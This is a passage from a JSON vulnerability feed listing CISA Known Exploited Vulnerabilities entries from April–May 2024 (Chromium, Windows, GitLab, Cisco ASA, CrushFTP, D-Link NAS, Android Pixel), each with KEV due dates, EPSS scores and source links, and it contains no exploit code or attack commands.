exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4761","cveId":"CVE-2024-4761","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Out-of-Bounds Memory Write Vulnerability","summary":"Google Chromium V8 Engine contains an unspecified out-of-bounds memory write vulnerability via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2024-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-16","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-16","dueAt":"2024-06-06","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11007,"percentile":0.95872,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4761&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-4761","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-4761 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4761&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4761, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-30040","cveId":"CVE-2024-30040","aliases":[],"kind":"vulnerability","title":"Microsoft Windows MSHTML Platform Security Feature Bypass Vulnerability","summary":"Microsoft Windows MSHTML Platform contains an unspecified vulnerability that allows for a security feature bypass.","detail":"CISA added this entry on 2024-05-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-14","dueAt":"2024-06-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03939,"percentile":0.90315,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-30040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-30040","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-30040 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-30040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-30040, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-30051","cveId":"CVE-2024-30051","aliases":[],"kind":"vulnerability","title":"Microsoft DWM Core Library Privilege Escalation Vulnerability","summary":"Microsoft DWM Core Library contains a privilege escalation vulnerability that allows an attacker to gain SYSTEM privileges.","detail":"CISA added this entry on 2024-05-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"DWM Core Library","stacks":["Microsoft","DWM Core Library"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-14","dueAt":"2024-06-04","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05687,"percentile":0.92943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-30051&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-30051","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-30051 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-30051&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-30051, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4671","cveId":"CVE-2024-4671","aliases":[],"kind":"vulnerability","title":"Google Chromium Visuals Use-After-Free Vulnerability","summary":"Google Chromium Visuals contains a use-after-free vulnerability that allows a remote attacker to exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2024-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-13","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium","stacks":["Google Chrome","Google","Chromium"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-13","dueAt":"2024-06-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08348,"percentile":0.94918,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4671&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-4671","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-4671 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4671&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4671, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-7028","cveId":"CVE-2023-7028","aliases":[],"kind":"vulnerability","title":"GitLab Community and Enterprise Editions Improper Access Control Vulnerability","summary":"GitLab Community and Enterprise Editions contain an improper access control vulnerability. This allows an attacker to trigger password reset emails to be sent to an unverified email address to ultimately facilitate an account takeover.","detail":"CISA added this entry on 2024-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-05-01","updatedAt":null,"regions":["Global"],"vendor":"GitLab","product":"GitLab CE/EE","stacks":["GitLab","GitLab CE/EE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-05-01","dueAt":"2024-05-22","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94458,"percentile":0.99851,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-7028&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-7028","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-05-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-7028 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-7028&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-7028, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-29988","cveId":"CVE-2024-29988","aliases":[],"kind":"vulnerability","title":"Microsoft SmartScreen Prompt Security Feature Bypass Vulnerability","summary":"Microsoft SmartScreen Prompt contains a security feature bypass vulnerability that allows an attacker to bypass the Mark of the Web (MotW) feature. This vulnerability can be chained with CVE-2023-38831 and CVE-2024-21412 to execute a malicious file.","detail":"CISA added this entry on 2024-04-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-04-30","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SmartScreen Prompt","stacks":["Microsoft","SmartScreen Prompt"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-04-30","dueAt":"2024-05-21","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.45151,"percentile":0.98773,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-29988&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-29988","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-04-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-29988 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-29988&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-29988, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-20353","cveId":"CVE-2024-20353","aliases":[],"kind":"vulnerability","title":"Cisco ASA and FTD Denial of Service Vulnerability","summary":"Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain an infinite loop vulnerability that can lead to remote denial of service condition.","detail":"CISA added this entry on 2024-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-04-24","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)","stacks":["Cisco","Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-04-24","dueAt":"2024-05-01","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.69824,"percentile":0.99366,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-20353&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-20353","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-04-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-20353 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-20353&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-20353, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-20359","cveId":"CVE-2024-20359","aliases":[],"kind":"vulnerability","title":"Cisco ASA and FTD Privilege Escalation Vulnerability","summary":"Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a privilege escalation vulnerability that can allow local privilege escalation from Administrator to root.","detail":"CISA added this entry on 2024-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-04-24","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)","stacks":["Cisco","Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-04-24","dueAt":"2024-05-01","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18816,"percentile":0.9726,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-20359&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-20359","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-04-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-20359 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-20359&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-20359, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-4040","cveId":"CVE-2024-4040","aliases":[],"kind":"vulnerability","title":"CrushFTP VFS Sandbox Escape Vulnerability","summary":"CrushFTP contains an unspecified sandbox escape vulnerability that allows a remote attacker to escape the CrushFTP virtual file system (VFS).","detail":"CISA added this entry on 2024-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-04-24","updatedAt":null,"regions":["Global"],"vendor":"CrushFTP","product":"CrushFTP","stacks":["CrushFTP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-04-24","dueAt":"2024-05-01","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99539,"percentile":0.99945,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-4040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-4040","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-04-24","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-4040 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-4040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-4040, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-38028","cveId":"CVE-2022-38028","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Print Spooler Privilege Escalation Vulnerability","summary":"Microsoft Windows Print Spooler service contains a privilege escalation vulnerability. An attacker may modify a JavaScript constraints file and execute it with SYSTEM-level permissions.","detail":"CISA added this entry on 2024-04-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-04-23","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-04-23","dueAt":"2024-05-14","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14949,"percentile":0.96684,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-38028&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-38028","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-04-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-38028 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-38028&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-38028, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-3272","cveId":"CVE-2024-3272","aliases":[],"kind":"vulnerability","title":"D-Link Multiple NAS Devices Use of Hard-Coded Credentials Vulnerability","summary":"D-Link DNS-320L, DNS-325, DNS-327L, and DNS-340L contains a hard-coded credential that allows an attacker to conduct authenticated command injection, leading to remote, unauthorized code execution.","detail":"CISA added this entry on 2024-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.","publishedAt":"2024-04-11","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"Multiple NAS Devices","stacks":["D-Link","Multiple NAS Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-04-11","dueAt":"2024-05-02","action":"This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98109,"percentile":0.99911,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-3272&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-3272","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-3272 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-3272&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-3272, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-3273","cveId":"CVE-2024-3273","aliases":[],"kind":"vulnerability","title":"D-Link Multiple NAS Devices Command Injection Vulnerability","summary":"D-Link DNS-320L, DNS-325, DNS-327L, and DNS-340L contain a command injection vulnerability. When combined with CVE-2024-3272, this can lead to remote, unauthorized code execution.","detail":"CISA added this entry on 2024-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.","publishedAt":"2024-04-11","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"Multiple NAS Devices","stacks":["D-Link","Multiple NAS Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-04-11","dueAt":"2024-05-02","action":"This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99995,"percentile":0.99988,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-3273&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-3273","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-04-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-3273 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-3273&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-3273, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-29745","cveId":"CVE-2024-29745","aliases":[],"kind":"vulnerability","title":"Android Pixel Information Disclosure Vulnerability","summary":"Android Pixel contains an information disclosure vulnerability in the fastboot firmware used to support unlocking, flashing, and locking affected devices.","detail":"CISA added this entry on 2024-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-04-04","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Pixel","stacks":["Android","Pixel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-04-04","dueAt":"2024-04-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00486,"percentile":0.41591,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-29745&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-29745","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-04-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-29745 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-29745&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-29745, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-29748","cveId":"CVE-2024-29748","aliases":[],"kind":"vulnerability","title":"Android Pixel Privilege Escalation Vulnerability","summary":"Android Pixel contains a privilege escalation vulnerability that allows an attacker to interrupt a factory reset triggered by a device admin app.","detail":"CISA added this entry on 2024-04-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-04-04","updatedAt":null,"regions":["Global"],"vendor":"Android","product":"Pixel","stacks":["Android","Pixel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-04-04","dueAt":"2024-04-25","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00676,"percentile":0.5195,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-29748&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-29748","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-04-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-29748 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 